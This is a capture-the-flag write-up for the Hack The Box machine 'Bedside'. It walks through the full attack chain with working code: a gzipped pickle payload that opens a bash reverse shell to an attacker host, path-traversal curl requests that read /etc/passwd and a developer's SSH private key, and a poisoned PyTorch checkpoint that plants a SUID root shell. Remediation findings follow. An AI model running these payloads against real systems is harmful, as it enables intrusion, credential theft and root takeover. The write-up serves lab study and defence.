back to writeups

Bedside

Hack The Box · app.hackthebox.com/machines/Bedside · Season 11
Machine rank #1024 Linux Medium Season 11 Deserialization ×2 Container pivot User Root ● Completed
TL;DR A Linux target built around a medical research workflow, and a box with two unsafe deserialisation bugs bracketing a path traversal. A hidden research virtual host takes unauthenticated uploads and feeds them to a vulnerable pdfminer.six worker, where a crafted PDF referencing an attacker-supplied CMap triggers pickle execution inside a container. An internal ESM development service leaks the host's developer SSH key by path traversal. Finally, a sudo-approved training script loads the newest PyTorch checkpoint from a shared datastore — pickle again, this time as root.
Target
bedside.htb · hidden vhost research.bedside.htb
Host OS
Debian — OpenSSH 10.0p2, Apache 2.4.68
Foothold
pdfminer.six 20250506 unsafe CMap deserialization → container as datawrangler
Host pivot
Internal ESM service (TCP 3000) path traversal → developer SSH key
Privesc
Unsafe PyTorch checkpoint load through a NOPASSWD sudo rule
The chain in one line vhost fuzzing finds research.bedside.htb → upload a gzipped pickle plus a PDF referencing it as a CMap → reverse shell as datawrangler in the PDF worker container → internal ESM service on 3000 traverses out to /home/developer/.ssh/id_rsa → SSH as developer → plant a malicious .pt checkpoint in the shared datastore → run the approved trainer under sudo → SUID shell on a non-nosuid filesystem → root.

01Enumeration

sudo nmap -Pn -sS -p- --min-rate 2000 -T4 --reason <target> -oA scans/all-ports
echo '<target> bedside.htb' | sudo tee -a /etc/hosts
PortServiceNotes
22sshOpenSSH 10.0p2 (Debian)
80httpApache 2.4.68 (Debian) — Bedside Clinic, largely static
3000—Filtered externally; reachable from inside later

The main site is a dead end: content discovery finds the PHP entry point and stock Apache assets and no application workflow. The result that matters comes from virtual-host fuzzing rather than directory fuzzing:

ffuf -u http://bedside.htb/ \
  -H 'Host: FUZZ.bedside.htb' \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -fs 7189 -ac
# research  [Status: 200, Size: 3152, Words: 313, Lines: 80]

echo '<target> research.bedside.htb' | sudo tee -a /etc/hosts

The research vhost is a completely separate application with its own trust boundary: an unauthenticated upload form for medical images, DICOM, PDFs and archives, which states that some formats are converted before AI training. That sentence is the tell — conversion means an asynchronous backend parser, not passive storage. The response header seals it: X-Powered-By: pdfminer.six.

02Foothold — pdfminer.six CMap pickle RCE

The backend runs pdfminer.six 20250506, which is vulnerable to unsafe deserialisation in its CMap-loading path. A PDF can name an encoding that resolves to an attacker-controlled compressed pickle; when the worker converts the document, Python deserialises that object and calls its reduction function.

Both halves are uploaded through the same unauthenticated form — the pickle, then the trigger PDF:

#!/usr/bin/env python3
import gzip, pickle

class Payload:
    def __reduce__(self):
        command = (
            "__import__('os').system("
            "\"bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'\""
            ") or {}"
        )
        return eval, (command,)

with gzip.open("bedside.pickle.gz", "wb") as output:
    pickle.dump(Payload(), output)

The PDF's font object references the uploaded CMap by absolute path, URL-encoded, and without the .pickle.gz suffix — pdfminer appends it during resolution:

/Encoding /#2Fvar#2Fwww#2Fresearch.bedside.htb#2Fuploads#2Fbedside
curl -F 'uploadFile=@bedside.pickle.gz;type=application/gzip' http://research.bedside.htb/
curl -F 'uploadFile=@trigger.pdf;type=application/pdf'        http://research.bedside.htb/
rlwrap nc -lvnp 4444
# uid=988(datawrangler) gid=1001(dataops) groups=1001(dataops)
# hostname: data-wrangler   cwd: /app

03Inside the container

The worker source explains the automatic processing, and hands over the rest of the map:

UPLOAD_DIR = "/var/www/research.bedside.htb/uploads"
OUTPUT_DIR = "/datastore/staging"
TIMEOUT = 10
SLEEP_INTERVAL = 30

subprocess.run(["pdf2txt.py", pdf_path, "-o", output_file], timeout=TIMEOUT, check=True)

Two useful properties fall out. The worker rescans every 30 seconds, so a malicious PDF left in the upload directory produces a recurring reverse shell — handy, because shells on this box die. And /datastore is a shared volume, which becomes the privilege-escalation bridge later. datawrangler can read the uploads but cannot rename the web-server-owned PDFs.

04Host file disclosure — the internal ESM service

Port 3000 was filtered from outside but answers on 127.0.0.1 from inside the container. It is an ESM development server, complete with hot-module-reload endpoints. Conventional API paths 404; the weakness is in a package-resolution route, and it needs --path-as-is so curl does not normalise the traversal away:

curl http://127.0.0.1:3000/@hmr

curl --path-as-is -sS \
  'http://127.0.0.1:3000/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'
# developer:x:1000:1000:developer,,,:/home/developer:/bin/bash

The same primitive reads the private key straight off the host:

curl --path-as-is -sS \
  'http://127.0.0.1:3000/pr/x/y@99/../../../../../../../../../../home/developer/.ssh/id_rsa?raw=1&module=1' \
  > developer_id_rsa
chmod 600 developer_id_rsa
ssh -i developer_id_rsa developer@<target>
user.txt<redacted>

05The sudo rule

sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py

The rule matches that exact command. Adding arguments — --epochs 1, anything — falls outside it and sudo asks for a password. So the attack has to live entirely in what the script reads, not in how it is invoked.

What it reads is the newest .pt file in /datastore/checkpoints, loaded through MONAI's CheckpointLoader. PyTorch checkpoints are pickle-based. datawrangler can write to the shared datastore. That is the whole privilege escalation.

06Root — a poisoned checkpoint

import os, torch

class Payload:
    def __reduce__(self):
        command = (
            "cp /bin/bash /usr/local/bin/rootbash && "
            "chown root:root /usr/local/bin/rootbash && "
            "chmod 4755 /usr/local/bin/rootbash"
        )
        return os.system, (command,)

torch.save({"model": Payload()}, "/tmp/checkpoint_z_exploit.pt")

developer can build the file but cannot traverse into /datastore/checkpoints; datawrangler can write there but is in the container. A one-line HTTP server bridges the two identities:

# developer, on the host
cd /tmp && python3 -m http.server 8888 --bind 0.0.0.0

# datawrangler, in the container
curl -f http://<target>:8888/checkpoint_z_exploit.pt \
  -o /datastore/checkpoints/checkpoint_z_exploit.pt
sudo /usr/bin/python3 /opt/trainer/bedside_trainer.py
# TypeError: Expected state_dict to be dict-like, got <class 'int'>.

That traceback looks like failure and is not. os.system already ran during deserialisation; the exception happens afterwards, when the trainer tries to use the object as a model state. An exception after a pickle payload does not undo what the payload already did.

07The nosuid lesson

The first attempt dropped the SUID bash in /tmp. The file was root-owned, mode 4755 — and still ran as developer. The mount options explain it:

mount | grep ' /tmp '
# tmpfs on /tmp type tmpfs (rw,nosuid,nodev,...)

nosuid makes the kernel ignore set-user-ID bits on that filesystem entirely. Moving the payload to /usr/local/bin — ordinary root ext4 — fixed it:

/usr/local/bin/rootbash -p -c 'whoami; id; cat /root/root.txt'

-p matters too: without it bash drops the elevated privileges in some contexts. The decisive indicator is effective UID 0, even while the real UID stays developer.

root.txt<redacted>

08If this were your environment

Finding 1 · Critical

Unsafe PDF deserialization in the conversion worker (pdfminer.six 20250506)

A crafted PDF caused the worker to deserialise an attacker-supplied pickle, giving remote command execution as the processing account.

How I would fix it
NIST 800-53 r5: SI-2 flaw remediation · SI-10 input validation · SC-7 boundary protection · CM-7 least functionality
CWE: CWE-502 deserialization of untrusted data
Finding 2 · High

Unauthenticated upload feeding an automated parser

Anyone could place arbitrary files where a background worker would parse them, and retrieve them under a predictable /uploads/ path. The extension allow-list did nothing, because the dangerous formats were on it.

How I would fix it
NIST 800-53 r5: AC-3 access enforcement · IA-2 identification & authentication · SI-10 input validation
CWE: CWE-434 unrestricted upload of file with dangerous type
Finding 3 · Critical

Internal ESM dev service allows arbitrary host file disclosure

A development server, reachable only internally, exposed a package-resolution route vulnerable to path traversal — which read /etc/passwd and then the developer SSH private key off the host filesystem.

How I would fix it
NIST 800-53 r5: SI-10 input validation · AC-6 least privilege · SC-7 boundary protection · IA-5 authenticator management · CM-7 least functionality
CWE: CWE-22 path traversal
Finding 4 · Critical

Root sudo rule that deserialises attacker-writable checkpoints

A NOPASSWD sudo rule ran a complex Python trainer as root, and that trainer loaded pickle-based PyTorch checkpoints from a directory a container account could write to. The privileged command never needed to be abused directly — only its input.

How I would fix it
NIST 800-53 r5: AC-6 least privilege · SI-7 software & information integrity · CM-5 access restrictions for change · SC-28 protection of information at rest
CWE: CWE-502 deserialization of untrusted data · CWE-732 incorrect permission assignment

09Detection — the blue-team side

10Takeaways

◆If this were my environment

The exploit depended on unsafe deserialization and a privileged process trusting a user-controlled machine-learning checkpoint. I would remove both code-execution primitives and then harden the container and host boundaries.

Priority controls
  • Never deserialize untrusted pickle data; use a non-executable interchange format and validate the schema before processing uploads.
  • Keep model files outside privileged execution paths, verify signed hashes, and make root-run jobs consume only root-owned immutable inputs.
  • Run the application and conversion worker as separate unprivileged identities with read-only filesystems, dropped capabilities and tight seccomp/AppArmor or SELinux policy.
  • Continuously audit sudoers, scheduled jobs, container mounts and writable paths that feed privileged processes.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups